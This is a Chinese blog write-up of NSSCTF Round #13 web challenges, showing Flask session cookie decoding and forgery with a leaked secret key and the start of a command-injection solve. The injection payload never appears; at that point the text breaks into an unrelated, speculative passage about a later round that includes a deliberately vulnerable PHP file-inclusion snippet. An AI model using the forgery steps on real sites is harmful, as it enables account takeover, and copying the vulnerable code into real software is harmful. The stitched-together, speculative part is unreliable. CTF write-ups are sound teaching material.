[NSSCTF Round #13]web专项赛wp

文章详细描述了几个CTF挑战中的网络安全问题,涉及Flask应用中的JWT与session伪造,利用忘密功能和secret_key解密session,实现权限提升获取flag。另外,文章还介绍了利用Linux命令进行因数爆破,通过命令注入(RCE)和ApacheHTTPServer的CVE-2023-25690漏洞进行请求走私,以及通过文件读取和HTTP走私技术获取敏感信息。

[NSSRound#13 Basic]flask?jwt?

打开环境后进入该界面

image-20230704103144187

我们自然是没有账号密码的,这里一开始尝试sql注入但是提示账号密码错误,所以换个思路。

先注册账号密码,注册成功之后先看看忘记密码功能

发现有hint,给了secretkey: th3f1askisfunny,猜测是session伪造

image-20230704103409461

然后我们用注册好的账号密码去登录

image-20230704103450090

进去后有个拿flag,但是直接点是肯定拿不到的

image-20230704104023343

既然我们已经知道secret_key了,那就去尝试session伪造,我们先得到现在的session

.eJwlzsENwzAIAMBdePcBxsY4y0QYg9Jv0ryq7t5KvQnuDXuecR2wvc47HrA_F2yAkoXJB-Kw1Lmkopm4IvVSugRJ49QSraVqQa-5qncNdS8qOZuvIFOcWCcuk2k8G9myiqMLkTdMcmyeSzpXyR7MTDZ0UlVy-EXuK87_psDnC5sILu4.ZKOIWw.RgfNfFlSxUdKucolY_51_xve0hc

我们要利用flask_session_cookie_manager3来进行session解密,payload:

python flask_session_cookie_manager3.py decode -s "th3f1askisfunny" -c ".eJwlzsENwzAIAMBdePcBxsY4y0QYg9Jv0ryq7t5KvQnuDXuecR2wvc47HrA_F2yAkoXJB-Kw1Lmkopm4IvVSugRJ49QSraVqQa-5qncNdS8qOZuvIFOcWCcuk2k8G9myiqMLkTdMcmyeSzpXyR7MTDZ0UlVy-EXuK87_psDnC5sILu4.ZKOIWw.RgfNfFlSxUdKucolY_51_xve0hc"

得到:

{
   
   '_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}

这里修改一下_user_id属性,猜测admin_user_id1

得到payload:

python flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh': True, '_id': '06f231c9009af8bd640aa6c80172276e1653f82e55f8820c4fd4c78e8cc286fb5cde1a80b04b0da6ba3b51ada4097611c50f1c05cfd67346f7e3331a98b1481c', '_user_id': '1'}"

得到伪造好的session

.eJwlzsENwzAIAMBd_O4DbINxlokAg9Jv0ryq7t5KvQnuXfY84zrK9jrveJT9ucpWgLM29AkwNcUWd1BlF8BR6-BAppZSgyhFKnjP1X1IiHsVTiNfgSpg0A2WsmkzQl3aYQ5GdIJEB_JcPFrnHNFaQ51i2AW9_CL3Fed_g-XzBZsFLu0.ZKOJxg.SN4-0N7QVRYyRKcA3WcDrNnPeu0

然后进入到点击拿flag后的界面,把伪造好的session放进去,得到flag

[NSSRound#13 Basic]ez_factors

题目有hint:原生 Linux 因数爆破工具。flag在根目录

先用dirsearch扫一下,ok,啥也没有,换个思路

回到题目界面

image-20230704112546400

这个tool是一个超链接,点击之后跳转界面,根据题目描述,得知这里使用了factor命令对url中的数字进行因数分解

factor命令用于分解因数。factor是Ubuntu自带的分解质因数的指令

image-20230704132812969

然后我们用;进行命令拼接,来进行RCE,payload:


                
### 关于NSSCTF Round#28的比详情 目前尚未发现有关NSSCTF Round#28的具体官方公告或详细资料[^1]。然而,基于以往的事记录和模式分析,可以推测此轮比可能延续了之前几轮的特点,即注重实际操作能力以及对漏洞利用的深入理解。 ####参与方式 通常情况下,NSSCTF系列竞会开放在线注册通道供参者报名参加。具体步骤如下: - **访问官网**:前往NSSCTF官方网站或者其指定平台页面。 - **完成注册**:填写必要个人信息并确认提交表单。 - **获取资格**:成功登记后将收到进一步通知邮件说明后续流程安排。 对于最新一轮次(Round#28),建议密切关注主办方发布的动态更新消息渠道,例如社交媒体账号、论坛帖子或是往期选手分享的经验总结文档等资源来掌握确切日期与规则变化情况[^4]。 #### 题目解析方向预测 依据前序多场次活动案例来看,预计本轮也将围绕以下几个方面展开挑战项目设计: 1. **Web安全领域** - 文件上传机制缺陷检测 如同引用提到过的`Golang`环境下的文件处理不当实例[^3],此类场景下需仔细审查服务端验证逻辑是否存在疏漏之处允许非法脚本执行权限提升攻击行为发生。 2. **本地文件包含(LFI)** - 探讨绕过传统防护手段方法论探讨 结合hxp CTF 2021中的"Includer&#39;s Revenge"难题解决方案思路启发,在不控制任何外部可控实体的前提下实现敏感数据读取目标达成目的[^2]. 以下是针对上述两种典型问题类型的简单示例代码片段展示: ```python import os from flask import Flask, request, send_file app = Flask(__name__) @app.route(&#39;/upload&#39;, methods=[&#39;POST&#39;]) def upload(): file = request.files[&#39;file&#39;] filename = secure_filename(file.filename) # Ensure safe filenames are used. filepath = f&#39;uploads/{filename}&#39; file.save(filepath) if not allowed_file(filename): # Custom function to check extensions whitelist/blacklist policies etc.. return &#39;Invalid File Type!&#39;, 400 process_image(filepath) # Hypothetical image processing routine call here... return &#39;File uploaded successfully!&#39; ``` 以上Python程序展示了基本的文件接收存储过程需要注意的安全要点;而下面这段PHP则演示了一个简单的LFI风险示范: ```php <?php if(isset($_GET[&#39;page&#39;])){ $page = $_GET[&#39;page&#39;]; }else{ die(&#39;No page specified&#39;); } // No proper sanitization performed on user input leading directly into include statement below causing potential Local File Inclusion vulnerability issues. include($page . &#39;.php&#39;); ?> ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值